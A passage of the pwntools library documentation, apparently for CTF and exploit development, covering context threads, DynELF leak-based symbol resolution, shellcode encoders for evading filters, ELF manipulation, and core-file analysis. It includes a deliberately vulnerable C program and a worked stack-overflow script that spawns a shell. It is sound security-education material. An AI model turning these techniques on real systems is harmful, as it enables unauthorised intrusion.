Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at __init__) and updates the new thread's context before passing control to the user code via run or target=.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print context.arch
...     context.arch = 'mips'
...     print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print context.arch
arm
```

Implementation Details:

> This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.
>
> This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

pwnlib.context.**context = ContextType()**

> Global *ContextType* object, used to store commonly-used pwntools settings.
>
> In most cases, the context is used to infer default variables values. For example, *asm()* can take an `arch` parameter as a keyword argument.
>
> If it is not supplied, the `arch` specified by `context` is used instead.
>
> Consider it a shorthand to passing `os=` and `arch=` to every single function call.

2.9 `pwnlib.dynelf` — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

Example

```python
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
```

```
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')       == system
```

DynELF

class pwnlib.dynelf.**DynELF**(*leak*, *pointer=None*, *elf=None*, *libcdb=True*)

DynELF knows how to resolve symbols in remote processes via an infoleak or memleak vulnerability encapsulated by *pwnlib.memleak.MemLeak*.

Implementation Details:

Resolving Functions:

In all ELFs which export symbols for importing by other libraries, (e.g. libc.so) there are a series of tables which give exported symbol names, exported symbol addresses, and the hash of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., 'printf'), it can be located in the hash table. Its location in the hash table provides an index into the string name table (strtab), and the symbol address (symtab).

Assuming we have the base address of libc.so, the way to resolve the address of printf is to locate the symtab, strtab, and hash table. The string "printf" is hashed according to the style of the hash table (SYSV or GNU), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into libc.so from the symtab.

Resolving Library Addresses:

If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the link map. This is a linked list structure which contains information about each loaded library, including its full path and base address.

A pointer to the link map can be found in two ways. Both are referenced from entries in the DYNAMIC array.

- In non-RELRO binaries, a pointer is placed in the .got.plt area in the binary. This is marked by finding the DT_PLTGOT area in the binary.

- In all binaries, a pointer can be found in the area described by the DT_DEBUG area. This exists even in stripped binaries.

For maximum flexibility, both mechanisms are used exhaustively.

Instantiates an object which can resolve symbols in a running binary given a *pwnlib.memleak.MemLeak* leaker and a pointer inside the binary.

> **Parameters**
> - **leak** (*MemLeak*) – Instance of pwnlib.memleak.MemLeak for leaking memory
> - **pointer** (*int*) – A pointer into a loaded ELF file
> - **elf** (*str*, *ELF*) – Path to the ELF file on disk, or a loaded pwnlib.elf.ELF.
> - **libcdb** (*bool*) – Attempt to use libcdb to speed up libc lookups

bases()

Resolve base addresses of all loaded libraries.

Return a dictionary mapping library path to its base address.

static find_base(*leak*, *ptr*)
    Given a *pwnlib.memleak.MemLeak* object and a pointer into a library, find its base address.

heap()
    Finds the beginning of the heap via __curbrk, which is an exported symbol in the linker, which points to the current brk.

lookup(*symb = None*, *lib = None*) → int
    Find the address of symbol, which is found in lib.

        Parameters

            • **symb** (*str*) – Named routine to look up If omitted, the base address of the library will be returned.

            • **lib** (*str*) – Substring to match for the library name. If omitted, the current library is searched. If set to `'libc'`, `'libc.so'` is assumed.

        Returns Address of the named symbol, or `None`.

stack()
    Finds a pointer to the stack via __environ, which is an exported symbol in libc, which points to the environment block.

dynamic
    Returns: Pointer to the `.DYNAMIC` area.

elfclass
    32 or 64

elftype
    e_type from the elf header. In practice the value will almost always be 'EXEC' or 'DYN'. If the value is architecture-specific (between ET_LOPROC and ET_HIPROC) or invalid, KeyError is raised.

libc
    Leak the Build ID of the remote libc.so, download the file, and load an `ELF` object with the correct base address.

        Returns An ELF object, or None.

link_map
    Pointer to the runtime link_map object

pwnlib.dynelf.**gnu_hash**(*str*) → int
    Function used to generated GNU-style hashes for strings.

pwnlib.dynelf.**sysv_hash**(*str*) → int
    Function used to generate SYSV-style hashes for strings.

2.10 `pwnlib.encoders` — Encoding Shellcode

Encode shellcode to avoid input filtering and impress your friends!

pwnlib.encoders.encoder.**alphanumeric**(*raw_bytes*) → str
    Encode the shellcode `raw_bytes` such that it does not contain any bytes except for [A-Za-z0-9].

    Accepts the same arguments as *encode()*.

pwnlib.encoders.encoder.**encode**(*raw_bytes*, *avoid*, *expr*, *force*) → str
    Encode shellcode `raw_bytes` such that it does not contain any bytes in `avoid` or `expr`.

        Parameters

- **raw_bytes** (*str*) – Sequence of shellcode bytes to encode.

- **avoid** (*str*) – Bytes to avoid

- **expr** (*str*) – Regular expression which matches bad characters.

- **force** (*bool*) – Force re-encoding of the shellcode, even if it doesn't contain any bytes in avoid.

pwnlib.encoders.encoder.**line**(*raw_bytes*) → str
    Encode the shellcode raw_bytes such that it does not contain any NULL bytes or whitespace.

    Accepts the same arguments as *encode()*.

pwnlib.encoders.encoder.**null**(*raw_bytes*) → str
    Encode the shellcode raw_bytes such that it does not contain any NULL bytes.

    Accepts the same arguments as *encode()*.

pwnlib.encoders.encoder.**printable**(*raw_bytes*) → str
    Encode the shellcode raw_bytes such that it only contains non-space printable bytes.

    Accepts the same arguments as *encode()*.

pwnlib.encoders.encoder.**scramble**(*raw_bytes*) → str
    Encodes the input data with a random encoder.

    Accepts the same arguments as *encode()*.

class pwnlib.encoders.i386.xor.**i386XorEncoder**
    Generates an XOR decoder for i386.

```
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\xcc\xcd\x80'
>>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

Shellcode encoder class

Implements an architecture-specific shellcode encoder

2.11 `pwnlib.elf` — ELF Executables and Libraries

Most exploitable CTF challenges are provided in the Executable and Linkable Format (ELF). Generally, it is very useful to be able to interact with these files to extract data such as function addresses, ROP gadgets, and writable page addresses.

2.11.1 ELF Modules

`pwnlib.elf.elf` — ELF Files

Exposes functionality for manipulating ELF files

Stop hard-coding things! Look them up at runtime with *pwnlib.elf*.

Example Usage

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address)
0x400000
>>> print hex(e.symbols['write'])
0x401680
>>> print hex(e.got['write'])
0x60b070
>>> print hex(e.plt['write'])
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(file('/tmp/quiet-cat','rb').read(1))
'   0:   c3                        ret'
```

Module Members

class pwnlib.elf.elf.**ELF**(*path*, *checksec=True*)
 Bases: elftools.elf.elffile.ELFFile

 Encapsulates information about an ELF file.

Example

```
>>> bash = ELF(which('bash'))
>>> hex(bash.symbols['read'])
0x41dac0
>>> hex(bash.plt['read'])
0x41dac0
>>> u32(bash.read(bash.got['read'], 4))
0x41dac6
>>> print bash.disasm(bash.plt.read, 16)
0:   ff 25 1a 18 2d 00      jmp    QWORD PTR [rip+0x2d181a]        # 0x2d1820
6:   68 59 00 00 00         push   0x59
b:   e9 50 fa ff ff         jmp    0xfffffffffffffa60
```

asm(*address*, *assembly*)
 Assembles the specified instructions and inserts them into the ELF at the specified address.

 This modifies the ELF in-pace. The resulting binary can be saved with *ELF.save()*

bss(*offset=0*) → int

  Returns Address of the .bss section, plus the specified offset.

checksec(*banner=True*)
 Prints out information in the binary, similar to checksec.sh.

  Parameters banner (*bool*) – Whether to print the path to the ELF binary.

---

debug (*argv=[]*, **a*, ***kw*) → tube
　Debug the ELF with `gdb.debug()`.

　　Parameters

　　　• **argv** (`list`) – List of arguments to the binary

　　　• ***args** – Extra arguments to `gdb.debug()`

　　　• ****kwargs** – Extra arguments to `gdb.debug()`

　　Returns `tube` – See `gdb.debug()`

disable_nx ()
　Disables NX for the ELF.

　Zeroes out the `PT_GNU_STACK` program header `p_type` field.

disasm (*address*, *n_bytes*) → str
　Returns a string of disassembled instructions at the specified virtual memory address

dynamic_by_tag (*tag*) → tag

　　Parameters **tag** (`str`) – Named DT_XXX tag (e.g. `'DT_STRTAB'`).

　　Returns `elftools.elf.dynamic.DynamicTag`

dynamic_string (*offset*) → bytes
　Fetches an enumerated string from the `DT_STRTAB` table.

　　Parameters **offset** (`int`) – String index

　　Returns `str` – String from the table as raw bytes.

dynamic_value_by_tag (*tag*) → int
　Retrieve the value from a dynamic tag a la DT_XXX.

　If the tag is missing, returns `None`.

fit (*address*, **a*, ***kw*)
　Writes fitted data into the specified address.

　See: `packing.fit()`

flat (*address*, **a*, ***kw*)
　Writes a full array of values to the specified address.

　See: `packing.flat()`

static from_assembly (*assembly*) → ELF
　Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.

　　Parameters

　　　• **assembly** (`str`) – Assembly language listing

　　　• **vma** (`int`) – Address of the entry point and the module's base address.

　　Example

```
>>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)
>>> e.symbols['foo'] = 0x400001
>>> e.disasm(e.entry, 1)
'  400000:       90                      nop'
```

```
>>> e.disasm(e.symbols['foo'], 2)
'  400001:        cd 80                        int    0x80'
```

static from_bytes(*bytes*) → ELF

Given a sequence of bytes, return a fully loaded ELF object which contains those bytes at its entry point.

> **Parameters**
>
>> - **bytes** (*str*) – Shellcode byte string
>>
>> - **vma** (*int*) – Desired base address for the ELF.

Example

```
>>> e = ELF.from_bytes('\x90\xcd\x80', vma=0xc000)
>>> print(e.disasm(e.entry, 3))
    c000:        90                        nop
    c001:        cd 80                     int    0x80
```

get_machine_arch()

Return the machine architecture, as detected from the ELF header. Not all architectures are supported at the moment.

get_section_by_name(*name*)

Get a section from the file, by name. Return None if no such section exists.

iter_segments_by_type(*t*)

> **Yields** Segments matching the specified type.

num_sections()

Number of sections in the file

num_segments()

Number of segments in the file

offset_to_vaddr(*offset*) → int

Translates the specified offset to a virtual address.

> **Parameters offset** (*int*) – Offset to translate
>
> **Returns** *int* – Virtual address which corresponds to the file offset, or None.

Examples

This example shows that regardless of changes to the virtual address layout by modifying *ELF.address*, the offset for any given address doesn't change.

```
>>> bash = ELF('/bin/bash')
>>> bash.address == bash.offset_to_vaddr(0)
True
>>> bash.address += 0x123456
>>> bash.address == bash.offset_to_vaddr(0)
True
```

p16(*address*, *data*, **a*, ***kw*)

Writes a 16-bit integer `data` to the specified `address`

p32 (*address*, *data*, **a*, ***kw*)
 Writes a 32-bit integer `data` to the specified `address`

p64 (*address*, *data*, **a*, ***kw*)
 Writes a 64-bit integer `data` to the specified `address`

p8 (*address*, *data*, **a*, ***kw*)
 Writes a 8-bit integer `data` to the specified `address`

pack (*address*, *data*, **a*, ***kw*)
 Writes a packed integer `data` to the specified `address`

process (*argv=[]*, **a*, ***kw*) → process
 Execute the binary with *process*. Note that `argv` is a list of arguments, and should not include `argv[0]`.

> **Parameters**
>
> > - **argv** (`list`) – List of arguments to the binary
> >
> > - ***args** – Extra arguments to *process*
> >
> > - ****kwargs** – Extra arguments to *process*
>
> **Returns** *process*

read (*address*, *count*) → bytes
 Read data from the specified virtual address

> **Parameters**
>
> > - **address** (`int`) – Virtual address to read
> >
> > - **count** (`int`) – Number of bytes to read
>
> **Returns** A `str` object, or `None`.

Examples

The simplest example is just to read the ELF header.

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address, 4)
'\x7fELF'
```

ELF segments do not have to contain all of the data on-disk that gets loaded into memory.

First, let's create an ELF file has some code in two sections.

```
>>> assembly = '''
... .section .A,"awx"
... .global A
... A: nop
... .section .B,"awx"
... .global B
... B: int3
... '''
>>> e = ELF.from_assembly(assembly, vma=False)
```

By default, these come right after eachother in memory.

```
>>> e.read(e.symbols.A, 2)
'\x90\xcc'
>>> e.symbols.B - e.symbols.A
1
```

Let's move the sections so that B is a little bit further away.

```
>>> objcopy = pwnlib.asm._objcopy()
>>> objcopy += [
...     '--change-section-vma', '.B+5',
...     '--change-section-lma', '.B+5',
...     e.path
... ]
>>> subprocess.check_call(objcopy)
0
```

Now let's re-load the ELF, and check again

```
>>> e = ELF(e.path)
>>> e.symbols.B - e.symbols.A
6
>>> e.read(e.symbols.A, 2)
'\x90\x00'
>>> e.read(e.symbols.A, 7)
'\x90\x00\x00\x00\x00\x00\xcc'
>>> e.read(e.symbols.A, 10)
'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

Everything is relative to the user-selected base address, so moving things around keeps everything working.

```
>>> e.address += 0x1000
>>> e.read(e.symbols.A, 10)
'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

save (*path=None*)
    Save the ELF to a file

```
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = file('/tmp/bash_copy')
>>> bash = file(which('bash'))
>>> bash.read() == copy.read()
True
```

search (*needle*, *writable = False*) → generator
    Search the ELF's virtual address space for the specified string.

Notes

Does not search empty space between segments, or uninitialized data. This will only return data that actually exists in the ELF file. Searching for a long string of NULL bytes probably won't work.

> **Parameters**
>
> - **needle** (*str*) – String to search for.
>
> - **writable** (*bool*) – Search only writable sections.

Yields An iterator for each virtual address that matches.

Examples

An ELF header starts with the bytes `\x7fELF`, so we sould be able to find it easily.

```
>>> bash = ELF('/bin/bash')
>>> bash.address + 1 == next(bash.search('ELF'))
True
```

We can also search for string the binary.

```
>>> len(list(bash.search('GNU bash'))) > 0
True
```

section(*name*) → bytes
    Gets data for the named section

        Parameters **name** (*str*) – Name of the section

        Returns *str* – String containing the bytes for that section

string(*address*) → str
    Reads a null-terminated string from the specified `address`

        Returns A `str` with the string contents (NUL terminator is omitted), or an empty string if no NUL terminator could be found.

u16(*address*, **a*, ***kw*)
    Unpacks an integer from the specified `address`.

u32(*address*, **a*, ***kw*)
    Unpacks an integer from the specified `address`.

u64(*address*, **a*, ***kw*)
    Unpacks an integer from the specified `address`.

u8(*address*, **a*, ***kw*)
    Unpacks an integer from the specified `address`.

unpack(*address*, **a*, ***kw*)
    Unpacks an integer from the specified `address`.

vaddr_to_offset(*address*) → int
    Translates the specified virtual address to a file offset

        Parameters **address** (*int*) – Virtual address to translate

        Returns *int* – Offset within the ELF file which corresponds to the address, or `None`.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.vaddr_to_offset(bash.address)
0
>>> bash.address += 0x123456
>>> bash.vaddr_to_offset(bash.address)
0
```

(continues on next page)

```
>>> bash.vaddr_to_offset(0) is None
True
```

write(*address*, *data*)

Writes data to the specified virtual address

> **Parameters**
>
> • **address** (*int*) – Virtual address to write
>
> • **data** (*str*) – Bytes to write

Note: This routine does not check the bounds on the write to ensure that it stays in the same segment.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
'ELF'
>>> bash.write(bash.address, "HELO")
>>> bash.read(bash.address, 4)
'HELO'
```

address

Address of the lowest segment loaded in the ELF.

When updated, the addresses of the following fields are also updated:

- *symbols*
- *got*
- *plt*
- *functions*

However, the following fields are **NOT** updated:

- *segments*
- *sections*

Example

```
>>> bash = ELF('/bin/bash')
>>> read = bash.symbols['read']
>>> text = bash.get_section_by_name('.text').header.sh_addr
>>> bash.address += 0x1000
>>> read + 0x1000 == bash.symbols['read']
True
>>> text == bash.get_section_by_name('.text').header.sh_addr
True
```

> **Type** int

---

arch = None
> Architecture of the file (e.g. `'i386'`, `'arm'`).

> See: *ContextType.arch*

>> **Type** str

asan
> Whether the current binary was built with Address Sanitizer (`ASAN`).

>> **Type** bool

aslr
> Whether the current binary is position-independent.

>> **Type** bool

bits = 32
> Bit-ness of the file

>> **Type** int

build = None
> Linux kernel build commit, if this is a Linux kernel image

>> **Type** str

buildid
> GNU Build ID embedded into the binary

>> **Type** str

bytes = 4
> Pointer width, in bytes

>> **Type** int

canary
> Whether the current binary uses stack canaries.

>> **Type** bool

config = None
> Linux kernel configuration, if this is a Linux kernel image

>> **Type** dict

data
> Raw data of the ELF file.

> See: `get_data()`

>> **Type** str

dwarf
> DWARF info for the elf

elftype
> ELF type (`EXEC`, `DYN`, etc)

>> **Type** str

endian = 'little'
> Endianness of the file (e.g. `'big'`, `'little'`)

>> **Type** str

entry
> Address of the entry point for the ELF
>
> > **Type** int

entrypoint
> Address of the entry point for the ELF
>
> > **Type** int

execstack
> Whether the current binary uses an executable stack.
>
> This is based on the presence of a program header PT_GNU_STACK being present, and its setting.
>
> > PT_GNU_STACK
> >
> > The p_flags member specifies the permissions on the segment containing the stack and is used to indicate wether the stack should be executable. The absense of this header indicates that the stack will be executable.
>
> In particular, if the header is missing the stack is executable. If the header is present, it may **explicitly** mark that the stack is executable.
>
> This is only somewhat accurate. When using the GNU Linker, it usees DEFAULT_STACK_PERMS to decide whether a lack of PT_GNU_STACK should mark the stack as executable:
>
> ```
> /* On most platforms presume that PT_GNU_STACK is absent and the stack is
>  * executable.  Other platforms default to a nonexecutable stack and don't
>  * need PT_GNU_STACK to do so.  */
> uint_fast16_t stack_flags = DEFAULT_STACK_PERMS;
> ```
>
> By searching the source for DEFAULT_STACK_PERMS, we can see which architectures have which settings.
>
> ```
> $ git grep '#define DEFAULT_STACK_PERMS' | grep -v PF_X
> sysdeps/aarch64/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
> sysdeps/nios2/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
> sysdeps/tile/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
> ```
>
> > **Type** bool

executable = None
> True if the ELF is an executable

executable_segments
> List of all segments which are executable.
>
> **See:** *ELF.segments*
>
> > **Type** list

file = None
> Open handle to the ELF file on disk
>
> > **Type** *file*

fortify
> Whether the current binary was built with Fortify Source (-DFORTIFY).
>
> > **Type** bool

---

functions = {}
    dotdict of name to *Function* for each function in the ELF

got = {}
    dotdict of name to `address` for all Global Offset Table (GOT) entries

libc
    If this *ELF* imports any libraries which contain `'libc[.-]`, and we can determine the appropriate path to it on the local system, returns a new *ELF* object pertaining to that library.

    If not found, the value will be `None`.

        Type *ELF*

library = None
    `True` if the ELF is a shared library

memory = None
    IntervalTree which maps all of the loaded memory segments

mmap = None
    Memory-mapped copy of the ELF file on disk

        Type `mmap.mmap`

msan
    Whether the current binary was built with Memory Sanitizer (`MSAN`).

        Type `bool`

native = None
    Whether this ELF should be able to run natively

non_writable_segments
    List of all segments which are NOT writeable.

    See: *ELF.segments*

        Type `list`

nx
    Whether the current binary uses NX protections.

    Specifically, we are checking for `READ_IMPLIES_EXEC` being set by the kernel, as a result of honoring `PT_GNU_STACK` in the kernel.

    The **Linux kernel** directly honors `PT_GNU_STACK` to mark the stack as executable.

```
case PT_GNU_STACK:
    if (elf_ppnt->p_flags & PF_X)
        executable_stack = EXSTACK_ENABLE_X;
    else
        executable_stack = EXSTACK_DISABLE_X;
    break;
```

    Additionally, it then sets `read_implies_exec`, so that all readable pages are executable.

```
if (elf_read_implies_exec(loc->elf_ex, executable_stack))
    current->personality |= READ_IMPLIES_EXEC;
```

        Type `bool`

packed
>   Whether the current binary is packed with UPX.
>
>   > **Type** `bool`

path = '/path/to/the/file'
>   Path to the file
>
>   > **Type** `str`

pie
>   Whether the current binary is position-independent.
>
>   > **Type** `bool`

plt = {}
>   *dotdict* of `name` to `address` for all Procedure Linkate Table (PLT) entries

relro
>   Whether the current binary uses RELRO protections.
>
>   This requires both presence of the dynamic tag `DT_BIND_NOW`, and a `GNU_RELRO` program header.
>
>   The ELF Specification describes how the linker should resolve symbols immediately, as soon as a binary is loaded. This can be emulated with the `LD_BIND_NOW=1` environment variable.
>
>   > `DT_BIND_NOW`
>   >
>   > If present in a shared object or executable, this entry instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.
>   >
>   > (page 81)
>
>   Separately, an extension to the GNU linker allows a binary to specify a PT_GNU_RELRO program header, which describes the *region of memory which is to be made read-only after relocations are complete.*
>
>   Finally, a new-ish extension which doesn't seem to have a canonical source of documentation is DF_BIND_NOW, which has supposedly superceded `DT_BIND_NOW`.
>
>   > `DF_BIND_NOW`
>   >
>   > If set in a shared object or executable, this flag instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.
>
> ```
> >>> path = pwnlib.data.elf.relro.path
> >>> for test in glob(os.path.join(path, 'test-*')):
> ...     e = ELF(test)
> ...     expected = os.path.basename(test).split('-')[2]
> ...     actual = str(e.relro).lower()
> ...     assert actual == expected
> ```
>
>   > **Type** `bool`

rpath
>   Whether the current binary has an `RPATH`.
>
>   > **Type** `bool`

runpath
> Whether the current binary has a `RUNPATH`.
>
> > **Type** `bool`

rwx_segments
> List of all segments which are writeable and executable.
>
> > **See:** *ELF.segments*
> >
> > **Type** `list`

sections
> A list of `elftools.elf.sections.Section` objects for the segments in the ELF.
>
> > **Type** `list`

segments
> A list of `elftools.elf.segments.Segment` objects for the segments in the ELF.
>
> > **Type** `list`

start
> Address of the entry point for the ELF
>
> > **Type** `int`

statically_linked = None
> `True` if the ELF is a statically linked executable

sym
> Alias for *ELF.symbols*
>
> > **Type** *dotdict*

symbols = {}
> *dotdict* of `name` to `address` for all symbols in the ELF

ubsan
> Whether the current binary was built with Undefined Behavior Sanitizer (`UBSAN`).
>
> > **Type** `bool`

version = None
> Linux kernel version, if this is a Linux kernel image
>
> > **Type** `tuple`

writable_segments
> List of all segments which are writeable.
>
> > **See:** *ELF.segments*
> >
> > **Type** `list`

class pwnlib.elf.elf.**Function**(*name*, *address*, *size*, *elf=None*)
> Encapsulates information about a function in an *ELF* binary.
>
> > **Parameters**
> >
> > - **name** (*str*) – Name of the function
> >
> > - **address** (*int*) – Address of the function
> >
> > - **size** (*int*) – Size of the function, in bytes

- **elf** ([ELF](#)) – Encapsulating ELF object

address = None
> Address of the function in the encapsulating ELF

elf = None
> Encapsulating ELF object

name = None
> Name of the function

size = None
> Size of the function, in bytes

class pwnlib.elf.elf.**dotdict**
> Wrapper to allow dotted access to dictionary elements.
>
> Is a real `dict` object, but also serves up keys as attributes when reading attributes.
>
> Supports recursive instantiation for keys which contain dots.

Example

```
>>> x = pwnlib.elf.elf.dotdict()
>>> isinstance(x, dict)
True
>>> x['foo'] = 3
>>> x.foo
3
>>> x['bar.baz'] = 4
>>> x.bar.baz
4
```

pwnlib.elf.config — Kernel Config Parsing

Kernel-specific ELF functionality

pwnlib.elf.config.**parse_kconfig**(*data*)
> Parses configuration data from a kernel .config.
>
> > **Parameters data** (*str*) – Configuration contents.
> >
> > **Returns** A `dict` mapping configuration options. "Not set" is converted into `None`, `y` and `n` are converted into `bool`. Numbers are converted into `int`. All other values are as-is. Each key has `CONFIG_` stripped from the beginning.

Examples

```
>>> parse_kconfig('FOO=3')
{'FOO': 3}
>>> parse_kconfig('FOO=y')
{'FOO': True}
>>> parse_kconfig('FOO=n')
{'FOO': False}
>>> parse_kconfig('FOO=bar')
{'FOO': 'bar'}
```

```
>>> parse_kconfig('# FOO is not set')
{'FOO': None}
```

`pwnlib.elf.corefile` — Core Files

Read information from Core Dumps.

Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.

Using Corefiles to Automate Exploitation

For example, if you have a trivial buffer overflow and don't want to open up a debugger or calculate offsets, you can use a generated core dump to extract the relevant information.

```c
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}
```

```
$ gcc crash.c -m32 -o crash -fno-stack-protector
```

```python
from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)
```

Module Members

class pwnlib.elf.corefile.**Corefile**(**a*, ***kw*)

Bases: *pwnlib.elf.elf.ELF*

Enhances the inforation available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via core_obj.eax and enumerated via *Corefile.registers*.

> **Parameters core** – Path to the core file. Alternately, may be a *process* instance, and the core file will be located automatically.

```
>>> c = Corefile('./core')
>>> hex(c.eax)
'0xfff5f2e0'
>>> c.registers
{'eax': 4294308576,
 'ebp': 1633771891,
 'ebx': 4151132160,
 'ecx': 4294311760,
 'edi': 0,
 'edx': 4294308700,
 'eflags': 66050,
 'eip': 1633771892,
 'esi': 0,
 'esp': 4294308656,
 'orig_eax': 4294967295,
 'xcs': 35,
 'xds': 43,
 'xes': 43,
 'xfs': 0,
 'xgs': 99,
 'xss': 43}
```

Mappings can be iterated in order via *Corefile.mappings*.

```
>>> Corefile('./core').mappings
[Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000,
↪size=0x1000, flags=0x5),
 Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000,
↪size=0x1000, flags=0x4),
 Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000,
↪size=0x1000, flags=0x6),
 Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000,
↪size=0x1a8000, flags=0x5),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000,
↪size=0x1000, flags=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000,
↪size=0x2000, flags=0x4),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000,
↪size=0x1000, flags=0x6),
 Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6),
 Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6),
 Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000,
↪size=0x20000, flags=0x5),
```

(continues on next page)

```
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000,␣
↪size=0x1000, flags=0x4),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000,␣
↪size=0x1000, flags=0x6),
 Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6)]
```

Example

The Linux kernel may not overwrite an existing core-file.

```
>>> if os.path.exists('core'): os.unlink('core')
```

Let's build an example binary which should eat `R0=0xdeadbeef` and `PC=0xcafebabe`.

If we run the binary and then wait for it to exit, we can get its core file.

```
>>> context.clear(arch='arm')
>>> shellcode = shellcraft.mov('r0', 0xdeadbeef)
>>> shellcode += shellcraft.mov('r1', 0xcafebabe)
>>> shellcode += 'bx r1'
>>> address = 0x41410000
>>> elf = ELF.from_assembly(shellcode, vma=address)
>>> io = elf.process(env={'HELLO': 'WORLD'})
>>> io.poll(block=True)
-11
```

You can specify a full path a la `Corefile('/path/to/core')`, but you can also just access the *process.corefile* attribute.

```
>>> core = io.corefile
```

The core file has a *Corefile.exe* property, which is a *Mapping* object. Each mapping can be accessed with virtual addresses via subscript, or contents can be examined via the *Mapping.data* attribute.

```
>>> core.exe.address == address
True
```

The core file also has registers which can be accessed direclty. Pseudo-registers `pc` and `sp` are available on all architectures, to make writing architecture-agnostic code more simple.

```
>>> core.pc == 0xcafebabe
True
>>> core.r0 == 0xdeadbeef
True
>>> core.sp == core.r13
True
```

We may not always know which signal caused the core dump, or what address caused a segmentation fault. Instead of accessing registers directly, we can also extract this information from the core dump.

On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our example, that's correct anyway.

```
>>> core.fault_addr == 0xcafebabe
True
```

```
>>> core.signal
11
```

